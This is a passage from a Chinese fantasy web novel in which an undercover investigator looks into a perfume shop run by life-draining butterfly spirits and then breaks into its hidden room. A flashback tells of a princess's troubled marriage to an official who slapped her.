可随着流言愈演愈烈,第一起黑影伤人的意外终于发生了。被袭击的村民原本和家人说了要进山采药,却三五日迟迟未归。家人焦急之下组织相熟的邻居上山寻找,终于在一处隐蔽的山沟里找到了已然昏迷的人。
从山沟上的痕迹看,他本来应当在山沟边上踮脚采集树上的野果,却被人从后面推了一把,从高处跌落到沟里,把腿摔折了
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不说,头也撞到了一块突出的坚硬石头上。
众人大呼小叫地唤醒了这个村民。他一睁眼,便惨叫了起来:“我,我,我看见我阿爹阿娘了!他们推了我!”
说这话时,这村民的爹娘已然双双入土五六年了。所有人都以为这是这个村民把头撞坏了的胡言乱语,可随着时间的推移,这种情况越来越多。不少人都见到了已然逝去的亲人,但没有人会为阴阳两隔的亲人重逢而感到欣喜——毕竟大部分人见到的“亲人”和传说中的诈尸也没什么区别。
渐渐地,一个流言从慈川山脚开始,渐渐流传到了芜宁城中——所谓的“青玉案”用了污-秽之物,山神因而发怒,不愿显灵,派手下的山鬼来惩治人类。
“等,等等,”这发展太过迅速,顾岁寒一时没跟上,“怎么就和‘青玉案’有关了?整个祭礼中那么多环节,不能是别的地方出错了吗?”
“他们说其他环节和县志上记载的都别无二致,只有这‘青玉案’配方不详……老头子我也不清楚,反正这说法传到这儿时就是这样的了。”老板讳莫如深地直摇头,“而且不只是‘山鬼’,芜宁有些喜欢‘青玉案’的小姑娘买这香来用,也跟中了邪似的直说乱话,所以我们这的人都说这香邪性,招山鬼。”
顾岁寒奇道:“这香不是敬神香么,怎么也能买来随便用?我之前跟着我家小姐闻过一次,跟那寺庙里的香也没啥两样,不怎么好闻,那些夫人小姐买来做什么?”
老板摇头:“嗨呀,那我怎么知道?她们都说那香里有什么‘慈川清香’,好闻的嘞!”
顾岁寒:“……”反正她没闻出来。
又来了新的客人,老板拍了拍沾油的围裙站起身,低声道:“这事啊,我老头子也就知道这么多了,几位大侠自己掂量着吧,反正我是觉得这香晦气。”
顾岁寒点点头:“好,多谢您,您先忙吧。”
老板乐呵呵地走了。端木昂看那新客人离得远,凑过来低声问顾岁寒:“执棋,这是怎么回事?”
顾岁寒摸了摸自己的鼻尖,却不直说,买了个关子道:“你们觉得呢?”
端木昂有些面露难色。一直没怎么出声的陈二娘却细弱道:“之前执棋同我们说,‘青玉案’很有可能是一种用来役使傀儡的媒介,而傀儡术最开始正是用来赶尸回乡的,所以我猜那些村民看到的‘黑影’‘山鬼’,很有可能都是被青玉案控制的傀儡。”
端木昂反驳:“可是按照刚刚那个老板的说法,这青玉案一开始可是敬山神用的呀!难不成那山神也是个傀儡吗?”
陈二娘不自信惯了,刚刚在顾岁寒面前提出这样大胆的猜测已然耗光了她好不容易积攒起来的勇气,被这么一质疑立马烟消云散:“我,我只是猜……”
顾岁寒却忽然开口打断了她的话:“说不定真是呢。”
陈二娘一愣,意识到她是在回答端木昂之前的那句话。可她也觉得这猜测有些荒谬了:“那可是山神……”
“山神又怎么样呢?”顾岁寒坐累了,换了个姿势,懒洋洋地支着脑袋,“山神受人供奉,便要回报百姓以他们所祈祷的福泽……这难道不是另一种意义上的,被人所役使的傀儡吗?”
明明天还热得叫人发汗,这话却叫人遍体生寒。
“走了,”顾岁寒站了起来,“在这乱猜也没有意义,咱们不如自己试试。”
48. 相见时难 二
或许是因为没有客人,青鸟坊里面都没点灯,从外面看进去黑奎奎的,一阵阵隐隐的香气顺着打开的大门往外飘散,待久了几乎有一种自己要被那香一口吞进去的错觉。
顾岁寒三人来到青鸟坊门口站定,犹豫似的交头接耳了片刻,门口的小童便注意到了这批潜在的客人,热情地站起了身:“几位客人是想买香吗?”
顾岁寒扮演了一个合格的心怀不安的客人,磨磨蹭蹭地踏出半步来:“是……可我看此地现下似乎并不待客?”
“不不不,有客自远方来,我青鸟坊岂有不招待的道理?”小童连连摇头,语气却有些生硬,像是从谁那里生搬硬套地学来的似的,小胖手拽着顾岁寒的手腕把人拉到青鸟坊门口,对着里面喊,“阿姐——有客人——”
他话音刚落,这小楼的深处就传来了细细的动静,似乎有一个腰肢柔软的女人翻身下了拔步床,沙沙地向大门走来。
随着她的步伐移动,小楼的灯光从最深处被一盏盏点亮。等到拐角处的最后一盏灯被点亮时,一个婀娜的女人出现在了他们面前。
此人眉眼细长,眼角斜飞,但又不显得凌厉,而是像狸奴那样带着些柔和的妩-媚;唇红而薄,仿佛含-着片口脂似的,一头长及脚踝的秀发披散开来裹在她身上,不像青丝,反而像是乌黑的纱云。
她从暗处走出来时,几乎有些不像人,反倒有些像一缕飘出来的烟,轻而无物,柔若无骨。顾岁寒看了看她,几乎疑心自己的眼睛出了毛病,没忍住又震惊地低头看了看底下拉着自己手、鼻涕流了一手一脸的小男孩。
这能是一对爹妈生出来的孩子?
这缕烟在顾岁寒半丈之外停住了脚步,没先招待他们这群客人,反而先轻轻地斥责了小男孩一声:“无咎!”
这小屁孩名字还挺文雅。无咎被姐姐放重语气喊了一声,顿时窝窝囊囊地松开了顾岁寒的胳膊,捞了片还算干净的衣角把自己的脸擦干净,小声道:“姐……”
顾岁寒:“……”她算是知道这青鸟坊为什么门庭冷落了,要是她看见这迎宾的小童是这副德行,她也不愿意进门。
烟一样的姑娘恐怕也是这个想法。她哀叹似的呼了口气,伸出手把无咎拉到身后,这才盈盈行了一礼:“小女子溯水,乃是这青鸟坊的调香师。掌柜的不在,由小女子暂代几日,不知各位客官有什么需要的?”
她一边说,一边侧过身伸出一边手引人进门。这是个迎客的姿势,但不知为何被她做出来就有一种舞蹈般呼吸的韵律。
顾岁寒提起衣摆跨过门槛。路过半俯着身子的溯水时,她脚步微微一顿,着意看了她一眼。从溯水的视角应该能看到她靴子在她面前停留了一瞬,但她却像没注意似的,保持着那个姿势轻飘飘的顿在原地。
一直跟在后面的陈二娘似乎注意到了什么,伸出手指轻轻拉了拉顾岁寒的袖口。这在行动中是要和顾岁寒耳语的意思,但顾岁寒仿佛没注意到似的,不动声色地将手抽离,然后重新迈步越过了在一旁扮演迎客松的溯水。
在只有陈二娘看到的地方,顾岁寒的手背在身后,轻轻左右晃了晃,示意稍后再说。
直到三人都完全越过了溯水,她才直起身,示意弟弟去把门关山,自己轻移莲步,缀在了殿后的端木昂后面。端木昂的心思没有陈二娘细腻,但他也本能地感觉到了这女人的不对劲,有些戒备地侧头看了一眼对方。
就是这一眼,让他看出了异常——
余光里,那个刚刚还在流鼻涕的半大孩子无咎站在门外,小半张脸已经被逐渐关闭的门扉挡住,剩下的大半张脸在逆光下也不甚清晰。
但端木昂还是看见了他脸上与自己年龄完全不符的,半个冷冷的笑意。
那绝不是看客人的眼神,而是看掉进陷阱的猎物的猎人才会有的眼神。
他差点失控出声:“执——”
“端木。”
温和的声音忽然从前方响起。
他猛得转过头去,后背的冷汗还没消,目光就撞上了一双盈盈的笑眼。
落棋阁里没人见过顾岁寒真实的容貌,但很多人都说过,顾执棋的笑容仿佛具有某种法力,让她哪怕披着再离奇的假面,也能被一眼看出来那是她。
而就是这双眼睛,以俯瞰全局的姿态,将刚刚的前因后果与他的失态尽收眼底。
刹那间,端木昂因为无咎的那个笑容而跳到嗓子眼的心重新落回原地,进而,一阵后怕又缓缓爬上了他的肩膀。
——他还是太年轻了。作为一个黑棋,他固然比陈二娘出师早,但出要紧任务的次数却乏善可陈,大部分时间都在做教习和跑简单的传信任务。所谓的“对西南和滇国比较熟悉”,只是因为他更经常跑这边分舵的传信任务而已。
出师以来一路的顺风顺水养成了他自大而莽撞的性格,所以他才会在刚刚那个笑容背后暗示的危险下差点屁滚尿流,乃至差一点点就叫出了声来。要不是顾岁寒一直在兼顾着这边,他很有可能就要毁了这次行动。
“端木。”她又重复了一遍,“来之前,咱们的银钱都收好了,对吗?”
原本还有些懊恼的端木昂闻言精神一振——这是进来之前他们约好的暗号。银钱可以用来买物品,而把银钱收好的意思,就是这里有大鱼,他们要打起全部精力来应付了。
这不仅是顾岁寒为了掩盖刚刚端木昂露的马脚而亡羊补牢岔开的话题,也是对陈二娘和端木昂两个人的示警。
端木昂佯装打开行囊,随意清点一番后,他高声道:“头儿,都带齐了!您随便挑,我带的肯定够!”
“好,”顾岁寒仿佛什么都没察觉似的,转过身对溯水道,“劳烦溯水姑娘了。我家小姐喜欢熏香,好收集各地香料用以收藏。不知溯水姑娘有没有什么推荐的?”
溯水微微侧过脸,似乎是在思考。众人停在原地,看着她俏丽的脸庞逐渐爬上了愁绪。
她伸出纤纤素手半捂着红唇,真心实意地为顾岁寒的要求很是发了一会愁。最后她放弃了思考:“客官要是问小女子,坊里的香几乎都是出自小女子之手,在小女子眼中都是一等一的好,实在不能评出伯仲来。
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”
顾岁寒对这个答案早有预料,闻言也只是含笑点点头:“好。那就依溯水姑娘说的,我们几个都好好闻一闻,挑出小姐平日里会喜欢的香来。”
说罢,她又似乎是无意地补上了一句:“不愧是蜀地最出名的香阁之一,待客都是专场的,我们进来了,旁人便被关在门外了。”
溯水但笑不语,没有解释。三个人在青鸟坊里逛逛停停,几乎把所有在售的香都闻了一遍。落棋阁的弟子没出师前会有针对嗅觉的训练,所以棋子们的嗅觉普遍比一般人要灵敏,在香阁这种众香混杂的地方更是灾难。
陈二娘感觉自己和端木昂都要闻不出香味了,整个人都昏昏沉沉,没想到顾岁寒还跟个没事人似的,一品香一品香的闻了过去。陈二娘心中的敬畏油然而生:“难道这就是执棋的不同凡响之处吗!”
前面的顾岁寒不知道后面俩人心里在想什么,她只有一个想法:“这几种香真的有区别吗!”
周围的香味实在是太多了,她鼻子本来也没有以前好使,干扰又多,所以闻什么感觉都是一个味道。她只能含含糊糊地挑了几种香味偏沉的熏香一样包了一点。
青鸟坊哪怕用来装香的盒子都是很精致的水色瓷罐。溯水一边拿小匙装香一边对顾岁寒说:“客官家的小姐好生特别,别家小姐都喜欢那种花呀果呀的香调,偏偏您家小姐喜欢这种沉郁的。”
“是。”顾岁寒强忍着香味迷鼻子的不适,压抑着咳了两声,“我家小姐……咳咳,礼佛,所以喜欢这种香味重的。”
溯水闻言若有所思地点点头,有些敬佩道:“你家小姐心中有志,这是好事啊。”
“什么好事。”顾岁寒摇头,“我们镖局原是江湖草莽出身,如今大小姐这般文雅,恐不能接过镖局大任,夫人老爷都急死了呢。”
两个人就这样围绕着根本不存在的“小姐”你来我往聊了半晌。顾岁寒编瞎话编得眼睛都不眨一下,溯水也听得连连点头,甚至开始为顾岁寒推荐一些适合“大小姐”的香薰。
众人就这样在青鸟坊里逛了一圈,买了一堆瓶瓶罐罐。溯水把他们引到柜台处结账,等她计算总额时,顾岁寒仿佛闲聊般和陈二娘道:“对了二娘,你记不记得小姐一直想要那种焚香气的香。”
二娘一激灵,顿时意识到她在说青玉案的事,便半抱怨半调侃道:“夫人不是说了,小姐想要那种香,直接去庙里买两把就得了,何必折腾?”
说话间,原本正低头算账的溯水抬起眼睛,向她们这边瞟了一眼。
顾岁寒背对着她和陈二娘说话,似乎毫无所觉:“哎呀,这话说说就行了,现在庙里那香都粗陋,点起来那香恨不能熏得眼睛都迷了,肯定是不能用来熏衣服的呀……”
“客官。”溯水忽然插话,“如果是您家小姐想要的那种香,我们这里或许有。”
这便是入套了。顾岁寒转过身,脸上露出逼真的惊喜:“真的?”
“是,”溯水微笑道,“客官初来乍到,恐怕不清楚。这香在我们芜宁十分出名,叫做‘青玉案’。”
49. 相见时难 三
几人顺理成章地跟着溯水上楼,拿到了被束之高阁的“青玉案”。接过香后,顾岁寒闻了闻,装模作样地和剩余两人道:“唉!真的是小姐喜欢的那种!”
溯水笑眯眯地表示客官喜欢就好。三人便这样喜洋洋地结清了总账,被溯水姐弟二人恭恭敬敬地送出了青鸟坊。
等到三人的身影走出视线所及的范围,溯水脸上那仿佛画上去似的笑容才被水融化了似的,消失得无影无踪。偏偏旁边的无咎看不懂人脸色,还傻愣愣地问:“阿姐,你吸到活气了吗?”
溯水脸色冷冷的,却是语出惊人:“没有。那个领头的女的,根本就不是活人。”
“啊!”无咎颇为失望,“我看他们几个外来的二愣子,还指望着能有点用呢……那剩下的两个人呢?”
溯水还看着他们几个离开的方向,漫不经心道:“我怀疑那女人是不是看出些什么了,一直有意无意地挡着我……就那么点蹭来的气,还不如我开窗吸的多呢。”
无咎听闻姐弟二人的身份可能暴露,顿时大惊失色:“唉?既然他们可能看出来了,阿姐还给他们卖什么青玉案?”
“管他呢,”溯水薄薄的嘴角冷冷一翘,“随便卖卖,反正咱们也不吃亏……我乏了,无咎,你继续在门口盯梢吧,我先回去了。”
另一边,巷子里。三个人的脚步把地上松动的青砖踩得噼啪作响。顾岁寒一边走,一边打开了装满香料的布包,随手把里面的瓶瓶罐罐分给了两人:“喏,这些香你们拿着吧,回头拿去卖点钱也不错,这个青玉案我先留着了,后面有用。”
陈二娘终于抓住机会把之前在青鸟坊里没来得及说出的话说了出来:“执棋,那溯水是不是只蝶妖?”
“蝶妖么?”顾岁寒颇为诧异,“我对妖修不了解,只能看出来她应该不是人……而且她的人形恐怕已经快要维持不住了。”
这一点陈二娘没看出来,不解道:“为什么?”
“因为她一直试图吸你们俩的活气,所以我猜她应该要借活气来稳固人形。”顾岁寒简短道,“我挡着她,所以你俩没感觉到。”
被区区一个变脸无咎吓到的端木昂颇感丢脸,所以难得的一路都没怎么吭声,此刻终于找到了可以插话的地方:“啊!执棋您……”
“我好得很,”顾岁寒一听他开口就知道他接下来要从哪个角度拍马屁了,连忙在一切开始之前强行遏制了他说话的欲-望,“也是很奇怪……”
说到这里她微微停顿了一下。听说她被溯水吸了一路活气,陈二娘也十分紧张:“什么奇怪?”
——活气是人族特有的气息之一,此人越健壮,气血越充足,活气就越浓厚,反过来也是同理,人的“活气”要是被吸完了,那此人离吹灯拔蜡也不远了。
此事奇怪就奇怪在,顾岁寒作为半个病秧子——虽然她自己常常也会因为精力过于充足而忘了这件事——被吸了这么久活气,现在居然没什么不适的地方。
但这话她不想和两个后辈明说,只是岔开了话题:“没什么。南盛律法没说不允许妖修经商,在她没害人前先不用管她。不过在去慈川山之前,我打算先去青鸟坊后院看看。”
按照凤彩珠的说法,韩玉青流窜到芜宁当日就来了青鸟坊,而且青鸟坊的人死活不让黑棋伪装成的顾客进后院,说明后院肯定是有猫腻的。
虽说时隔多日,韩玉青肯定已经不在青鸟坊了,但后院说不定还有些蛛丝马迹。顾岁寒秉承着“来都来了”的精神,准备进去看看。
陈二娘忧心忡忡:“后院必然严防死守,执棋要当心啊。”
“那是,你执棋是谁。”顾岁寒耍了个贫嘴,才正色安慰道,“没事,今晚你们先拿着青玉案回客栈,我探完后院马上就回来和你们汇合。”
此时已然是暮色四合,树上的鸟儿已经开始归巢。顾岁寒掐算着时间,先把两个小跟班赶走,自己在城里又转了两圈。
芜宁的宵禁落得早,所以为了避免麻烦,在夜色降临前顾岁寒要找到一个离青鸟坊比较近的地方先藏起来。就在她隔着两条街,装作闲逛的游人围着青鸟坊转找地方时,旁边急着回家的两个小贩的声音飘进了她耳朵。
“唉,你听说没有,那小皇帝前段时间晕过去了,他们都说是韩玉青搞的鬼呢!”
顾岁寒不动声色地慢下了脚步。韩玉青曾做过此地主官,而且政绩不错,按理说当地居民应该都会尊称一句“大人”或者“青天老爷”才对,为什么会直呼其名?
“真的假的?那小皇帝没事吧,别不是又要换皇帝啦?”
“这种事情谁知道……不过我听说,现在衙门都在追捕韩玉青,也算是善恶终有报了!”
“你还真别说,要我说韩玉青的报应早就来了。当初他欺负姬大善人的事闹得沸沸扬扬,咱们都为大善人抱不平,结果转头他不就弄砸了山神祭?”
“是啊是啊……”
顾岁寒第一次见姬漓前就听说了韩玉青对妻子暴力相待的丑闻,时过境迁差点忘了这档子事,没想到在这里又听见了,没忍住快走几步追上了前面两人,打听道:“两位兄弟,我从江南来,你们说的那韩玉青可是我们那里有名的才子嘞,怎么会做出你们说的这种事?”
其中一个年轻点的听说她是韩玉青的忠实簇拥,顿时大声反驳:“他有没有才和他人品啷个样有莫得关系,要我说啊,他对他妻子实在不怎么样,只不过他确乎有些实事,所以我们也没四处说罢了!”
见顾岁寒一副不怎么相信的样子,年轻点的那个更加火大了:“你不晓得,当初他的妻子,姬大善人,那是我们十里八乡出了名的菩萨娘娘。大善人是我们大盛朝的公主,人长的美,心地也善良,总在各处乡里施粥施药,家里有困难的去乞求大善人,大善人也总能找到地方安顿。”
“那时我们都说,姬大将军在前线冲锋陷阵,叫我们免受战乱之苦;姬大善人安定后方,使得我们都能有口饭吃,病了有郎中看诊。这姬氏兄妹果然不负姬家世家盛名,是名副其实的大好人啊!”
“结果有一天大善人来施粥的时候,那袖口一挽,有个年轻的小姑娘就看见了她手上的伤。大善人说是自己不小心磕碰的,可明眼人都看得出来,那是指印啊!”
说到这里那个年长些的小贩没忍住,插嘴道:“是啊,可我们当时都没太当回事,以为大善人就是和别人起了冲突,没什么大不了的,结果……”
“我那时以为,这只是你一时情绪上头,没什么大
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不了的。”
锁妖塔的最底层,沉黑的棺材一口接一口,层层叠叠看不到尽头。每个棺材里,都有一具寸缕不挂的肉身躺在其中,用呆滞无神的目光看着正上方的天花板。
姬漓行走在中间空出来的狭道上,削葱般的指尖缓缓拂过棺材的漆面,最终停在了最里面的棺材前。
那里面是刚刚被她叫出来迎接的韩玉青。此刻他面色死白,紧紧闭着双眼,像一具真正的尸体一样躺在其中。
姬漓的目光里不带分毫感情,定定地看着棺材里的韩玉青。良久,她缓缓地蹲了下来,挑-逗般抚摸着男人的下颌。
“——毕竟我当初可是一眼看上了你。”姬漓轻轻偏过了头,“你知书达理,你胸怀壮志,你毫无背景,不会像那个脑子被猪油泡了似的老皇帝那样,总是疑心我这,担心我那。”
“我们都被你骗了。我,阿姐,我们都以为你是个良配。我为了逃出老皇帝的指爪,义无反顾地下嫁于你,做你的妻子,为你的仕途带来无限荣光。”
不同于宋安澜这样血脉相连的公主,姬漓能封公主只是因为她父母的无限功勋,自然也不必担心外戚掌权,所以她的驸马是可以在朝中担当较高的官职的。姬漓的出降相当于为这位状元郎的官职镶上了一层金边,在旁人眼里这无疑也是皇帝对他能力的肯定的证明。
……不然,皇帝怎么愿意将自己千娇万宠的小公主嫁给他呢?
不得不说,单从韩玉青的能力与对外的品行来讲,他是担得起“好官”这个赞誉的。他刚入仕途,在刑部做主事期间一直兢兢业业,曾一度把自己累到几乎油尽灯枯。他的政绩也算得上卓然,治下从无冤狱,案件处理效率极高,他的主官们都对他赞赏有加。
最重要的是,对于姬漓而言,他无疑算得上一位好丈夫。
他性格温和,几乎从未对姬漓红过脸;他虽然算不上温情脉脉,逢年过节也会有些别具一格的小心思,或是给姬漓做饭,或是为姬漓折花。那段时间,夫妻二人间几乎算得上琴瑟和鸣,恩爱有加。
姬漓原本因为无知而对婚姻后的生活产生的恐惧也在韩玉青的呵护下被渐渐抚平。她曾以为他们俩就会这样平静而幸福地过一辈子。
但这是在韩玉青被外放之前。
明眼人都看得出来那场外放是一次历练。只要他能在任上开阔开阔眼界,立下一些有分量的政绩,他未来的仕途就是一片光辉灿烂。韩玉青一开始当然也是这么想的,但随着外放时间的推移,他渐渐焦躁了起来。
和他同榜的探花郎家里有些背景,已然成了五品官,而他还在这个西南小城里打转,没有要回京的迹象。韩玉青心比天高,是从小立志当宰辅的人,那点可怜的耐心,在重复而冗杂的案牍中也渐渐被消磨了。
好巧不巧,就在他的耐心几乎耗尽的那一年,姬昀正式成为了西南军务大司马,在他不知道的地方,姬泠也结束了在总舵打转的日子,开始执掌一整个分舵,成了半个在阁中有头有脸的小头领。
姬漓拿着两封和她诉说喜悦的信,看着丈夫在灯下忙碌的消瘦身影,心里不由得产生了一个小小的念头。
或许,我不应该只在家中。我也能效仿我的兄长和姐姐,为这世间做些什么。
50. 相见时难 四
姬漓扪心自问,那时她确乎怀了为自己的丈夫增添在本地百姓中的声量的意思。在外人眼中,他们夫妻是一体的,她的名声好了,百姓们自然也更加爱戴韩玉青,说不准韩玉青的仕途也会更顺遂一些。
刚开始,一切都向她预料中的方向前进。她自掏腰包,用嫁妆里的钱建了定期施粥的粥棚,还给当地有名的郎中添补,叫他多开义诊。百姓们也十分受用,称赞她是菩萨娘娘下凡,是真正为百姓们做实事的大好人,连带着韩玉青在周围城镇也声名鹊起,那段时间夫妻两人的生活都甜蜜了许多。
可事不遂人愿,很快,新的流言开始在百姓之间流传。
有人说,长乐公主天仙一样的人物,不知怎么就看上了韩玉青;还有人说,韩玉青就是个吃软饭的,事都是公主做的,他在旁边坐享其成。
“说不定当时就是因为公主看上了他,他才成了状元郎呢!”“哎呀他就是个小白脸,要不是公主他能有今天吗?”
再加上那段时间天公不作美,接连的暴雨淹了不少田。终于有一天,焦头烂额的韩玉青回到家里,看见正在清点明天施粥用的东西的妻子,他爆发了。
“那是你第一次扇我巴掌。”姬漓不知想起了什么,倚着棺材看向外面,哼笑了起来,“你说,‘妇道人家作什么要抛头露面,坏了祖宗规矩’。”
“可是韩郎,宋酿保下南宋一半江山,宋安澜在北疆建功立业,就连阿姐的落棋阁里,都有一小半姑娘家。她们不都是你说的妇道人家吗?”
她的目光穿过重重暗门,仿佛看见了当年那个无知的自己。
那时候她被韩玉青的那一巴掌扇懵了。她从未想过会遭到一直依赖的丈夫这样的对待。她说不出话来,耳边嗡嗡作响,泪水夺眶而出。
她想,怎么会这样呢?
动手后的韩玉青理智渐渐回笼,看到梨花带雨的妻子顿时手足无措,不知如何是好,只能大步上前紧紧把人抱在怀中。姬漓用力挣动了好几下,没能挣脱开,一时间悲从中来,嚎啕大哭。
她似乎从懂事之后就没这样哭过了。过早的丧失双亲,能照顾自己的兄长和姐姐都常年不在身边,她像一棵早熟的小树,在深宫里艰难地学习如何亭亭玉立地长大。
小时候她以为,只要足够讨皇伯伯欢心,她就能在宫里无忧无虑地长大,可太子的窥视让她失去了原本锦衣玉食的生活;嫁人后她以为,只要韩玉青一直爱她,她就可以安安稳稳到老。
韩玉青的这一巴掌仿佛是冥冥中一声丧钟响起。哪怕她再迟钝,也意识到了某种她一直依赖的东西正在轰然崩塌。
但那崩塌并没有马上来临。打了妻子一巴掌的韩玉青恢复了理智,意识到自己的行为是多么荒唐而令人不齿。在那之后的很长一段时间里,这对夫妻比以前更加相敬如宾了,韩玉青为示赔罪,几乎承担起了家里所有的大小事务,连账都不用麻烦姬漓管理了。姬漓一时间完全闲了下来,白日里无所事事,就带着丹桂在附近悠游闲逛。
可两个人心里都心知肚明。被打碎了的瓷器,哪怕再心灵手巧的工匠,也无法把它修到完好无初的程度了。
夜色降临,顾岁寒一身黑衣,整个人像张薄薄的纸片,紧紧贴在青鸟坊的后墙外。
墙里,那姐弟俩还没入睡,正在四处走动。顾岁寒闭着眼睛,呼吸近乎于无,用耳朵收集着里面的声音。
闲不住四处跑,脚步声更重更快的是无咎;脚步声更轻,更集中于楼里西南角活动的是溯水。溯水似乎在调香料,顾岁寒不时能听见铜斗和铜箸碰撞的声音。
月光渐渐爬上梢头,顾岁寒微妙地移了点位置,防止自己暴露在月光下被衙门巡逻的人发现。周围的人家一户接着一户地熄了灯烛,这对姐弟俩却还是不知疲倦似的,白日里不舍得点灯的一楼此刻堪称灯火通明,无咎拿着个小木头剑,“杀杀杀”地窜进窜出,也不知道在演练哪门子的军阵。
终于,城楼上敲酉时的鼓时,溯水开始催无咎睡觉了。无咎磨磨蹭蹭了一会,上了二楼,进房间睡觉。顾岁寒在墙上凹凸不平的地方借了点力,将半个头探过了墙头,发现无咎上-床之后,他房间里还留了一盏蜡烛。
他是怕黑么……顾岁寒皱眉,随即意识到了,按照陈二娘的说法,这俩姐弟都是蝴蝶妖,可能不能在夜间视物。白天溯水走哪灯点到哪恐怕也是因为这个原因。
这倒是方便了她。顾岁寒看了一眼溯水在的方向,权衡一番后,直接翻墙轻轻落了地。
白天和这溯水接触时,顾岁寒就注意到了她的听力似乎不怎么样,有时候需要大声和她说话,她才能听得明白。现在他俩的视力又被大大削弱,顾岁寒更加有恃无恐,半俯着身子,围着青鸟坊的一楼转了一圈,在心里默默数着步数。
白天来买香时,她让溯水带着她在一楼转了一圈,一是为了把香都看一遍,而是为了摸明白青鸟坊的构造。
那时候她就觉得有些奇怪了。青鸟坊是标准的坐北朝南,风水也不错,但不知为何,倘若和外面看到的建筑外型大致比较的话,顾岁寒总觉得青鸟坊里面的西侧似乎稍微少了一块地方。
一圈下来,她心算了一下大致长度,肯定了自己的猜测。除非此间主人脑子不好使,把西侧的墙修成了一丈厚,否则西边肯定还有一个修长的房间。
可白天买香时她已经看过了,甚至特意在西侧多停留一会,没看到里面有暗门或是机关这类进入西侧空间的手段。莫非那个隐藏的房间是要从外面进的?
顾岁寒重新摸回了西墙。这西侧的空间也不是完全封闭的,墙上开了两扇窗,里面隐隐透着些光亮,但都从内部上了闩,几乎不可能无声无息地走窗进去,可除此之外,外墙上也看不出什么机关的端
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倪,顾岁寒站在西墙外,有些一筹莫展。
忽然,她灵机一动,想起来白天一个被自己忽略了的小细节。
她买青玉案时,溯水和她解释“因为这香买的人比较少,为防香料受潮,所以都放在了二楼”。但不知为何,顾岁寒几人跟她上楼拿香时,她的侧脸格外紧绷,似乎是有些紧张的样子。
那时候顾岁寒满身心都在青玉案上,现在回想起来,她在紧张什么?二楼有什么猫腻?
说干就干,顾岁寒退后几步,方便观察外墙的构造,在心里大致规划了一下路线,随后一个助跑,猴似的上了墙!
要是端木昂在这里,肯定又要拍马屁说她轻功高强了——一楼和二楼之间有个突出来的雨檐,轻功不好的就只能用钩爪翻过去,顾岁寒却神乎其技地用手在雨檐那里借了个力,脚在墙上轻轻一登,刹那间灵巧的身子折叠到了极致,顾岁寒先让一边脚挂上了雨檐,往上使力的同时腾出另一只手抓住更靠上的窗沿,然后把另一只悬空的脚带了上去!
这通让人眼花缭乱的攀缘几乎只用了一眨眼的功夫,连雨檐上有点松动的瓦片都没碰掉。可如此登峰造极的轻身功夫和柔术却无人观赏,颇有些锦衣夜行的意思。
顾岁寒本人没觉得这通操作有多么炫技,猫似的蹲在二楼一扇窗户伸出来的半个脚掌长的窗台上,微微活动了一下筋骨,然后将窗向外微微拉开了一点缝,伸出一只眼像里面看去。
她其实也有些夜盲,但此时借着一点月光和鼻子里闻到的尘土气,她推测此处应该是一个放旧家什的库房。这里一时半会应该不会有人来,她放心地把窗拉大,从窗缝里溜了进去。
为了防止她的鞋破坏地上的灰尘,留下破绽,顾岁寒没敢落地,而是用脚尖虚虚地踩在一个太师椅的把手上。她提着气,并指在眼前一划,低声道:“天眼,开!”
所谓天眼,是修行之人才能用的一种特殊的法术。它虽称为“眼”,但却并不依赖视力而存在;相反,它是利用人的神识观察“气”的流动,借此观察周围的情况,所以很多眼盲的修士会经常使用。
这法术固然好,但比较烧灵力,所以顾岁寒也不常用。天眼开启之后,不同颜色的“气”在她“眼中”交织缠绕,好像一副巨大而绮丽的画卷。这时再睁眼反而会让尘世眼干扰视野,所以顾岁寒干脆闭上了眼睛,头缓缓地转了一圈。
在隔壁睡觉的小小人形是无咎,在楼下房间里走动的是溯水,而一楼西侧她推测的那间密室里……
头转向西侧时,顾岁寒的气息顿时乱了,差点从太师椅上掉下来。
——青鸟坊一楼,西侧的房间几乎被萤火般的光芒充满了。它们在那间房里忽明忽灭,仿佛有了生命一般颤-抖着呼吸。
千万个光点在那里汇集,小小的空间汇集了一条璀璨的银河,在顾岁寒的天眼里璀然绽放。
51. 相见时难 五
这……这是什么东西?
她稳住了身形,惊疑不定地看着那边,下意识地想眯起眼,试图看得更清楚一点。
但天眼的清晰程度是不随着视力的变化而转移的。她深深地吸了一口气,和那些光点面面相觑了一会,甚至有了种对方也在看着自己的错觉。
这个程度和规模的灵气汇集,密室里的东西无论是什么,都定然不容小觑。顾岁寒在心里掂量了一下,最终还是决定进去看看。
从光点分布的形状来看,密室的入口很可能就在无咎卧房的隔壁,很有可能就是溯水的房间。她想进去就只能抢在溯水入睡之前,否则只能改日再试。
改天再来指不定会有什么变数。更何况这光点看着唬人,顾岁寒自认为自己也不是吃素的,当即一不做二不休,含了一片匿身符在嘴里,悄悄地摸进了西侧房间。
匿身符不能让人隐匿身形,而是用来掩藏气息的。假如现在这里有个人和顾岁寒一样开了天眼,他也看不见她的行迹。
顾岁寒含这玩意本来只是以防万一。可就在她回身掩上房间门时,她忽然产生了一种强烈的被窥视感。
这感觉说不清道不明,就像猛兽湿-漉-漉的舌头顺着她后脖颈舔过去一般,刹那间强大的危机感让她瞬间停住了脚步,将呼吸压到最低。
——好在那目光似乎并没有发现顾岁寒,只是逡巡般扫了过去。等它移开后很久,顾岁寒才敢往旁边挪了一步。
她能感觉到,那股视线正是源于密室里的东西。可越接近密室她便越能感觉到密室里-根本没有活人,这视线是从哪来的?
正在她进退两难之际,楼下传来收拾器具的声音。顾岁寒猛然意识到,这声音说明溯水结束了调香,似乎就要上楼了。
仓促间,顾岁寒扫视了一眼屋里,很快就在天眼的帮助下锁定了密室的入口——那些光点在靠近这间屋子的地板的地方微妙地凸-起了一点,像是一个暗门。
顾岁寒一面留意着楼下的动静,一面用手在那暗门附近的地毯上摸索,很快就摸到了一处不太自然的接缝。
她当机立断,用指尖探进接缝里,发力往外拔。地板内部发出了轻微的金属摩-擦声,下一瞬,一块一尺见方的地板被她硬生生掀开,一股浓烈的香气铺面而来!
与此同时,楼梯发出轻微的吱呀声,溯水要上楼了!
刹那间顾岁寒心念电转——溯水是调香师,开密室时漏出的这点香味肯定骗不过她的鼻子;如果她发现了,那么必然会打开密室查看,顾岁寒就会被逮个正着。可进门时顾岁寒已经四下看过了,这房间里家具构造极其简单,床底也是实心的,这么短时间里她根本找不到地方躲藏!
她狠狠咬了一下自己的舌尖逼迫自己保持清醒。门外的脚步声越来越近,她心一横,矮身钻进洞口,反手关上了暗门。
事已至此,只能赌一把溯水没注意到这短暂泄出的香气了!
